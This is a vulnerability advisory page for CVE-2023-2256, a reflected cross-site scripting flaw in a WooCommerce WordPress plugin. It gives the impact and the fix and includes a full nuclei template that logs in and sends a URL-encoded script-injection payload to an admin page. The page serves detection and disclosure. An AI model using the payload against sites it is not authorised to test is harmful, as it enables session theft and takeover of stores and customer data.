WordPress Product Addons & Fields for WooCommerce < 32.0.7 - Cross-Site Scripting

highseverity

6.1CVSS score

1%likelihood of exploitation, next 30 days

62%of all CVEs are less likely

Readycheck to confirm it

The Product Addons & Fields for WooCommerce WordPress plugin before version 32.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape some URL parameters in the admin panel, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.

Impact

Attackers can inject malicious JavaScript through URL parameters in the admin panel, potentially stealing administrator session cookies and gaining full control over the WooCommerce store and customer data.

Fix

Update Product Addons & Fields for WooCommerce plugin to version 32.0.7 or later that properly sanitizes and escapes URL parameters in the admin panel.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: contains "woocommerce-product-addon" and "woocommerce"
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=ppom&productmeta_id=5&do_meta=edit&%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1
Positive when: contains "\"><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-2256 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-2256

info:
  name: WordPress Product Addons & Fields for WooCommerce < 32.0.7 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The Product Addons & Fields for WooCommerce WordPress plugin before version 32.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape some URL parameters in the admin panel, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  impact: |
    Attackers can inject malicious JavaScript through URL parameters in the admin panel, potentially stealing administrator session cookies and gaining full control over the WooCommerce store and customer data.
  remediation: |
    Update Product Addons & Fields for WooCommerce plugin to version 32.0.7 or later that properly sanitizes and escapes URL parameters in the admin panel.
  reference:
    - https://wpscan.com/vulnerability/1187e041-3be2-4613-8d56-c2394fcc75fb
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2256
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2256
    cwe-id: CWE-79
    epss-score: 0.00952
    epss-percentile: 0.61607
    cpe: cpe:2.3:a:themeisle:product_addons_\&_fields_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: WordPress
    product: woocommerce-product-addon
    fofa-query: body="wp-content/plugins/woocommerce-product-addon/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,xss,woocommerce,woocommerce-product-addon,authenticated,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "woocommerce-product-addon"
          - "woocommerce"
        condition: and
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=ppom&productmeta_id=5&do_meta=edit&%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from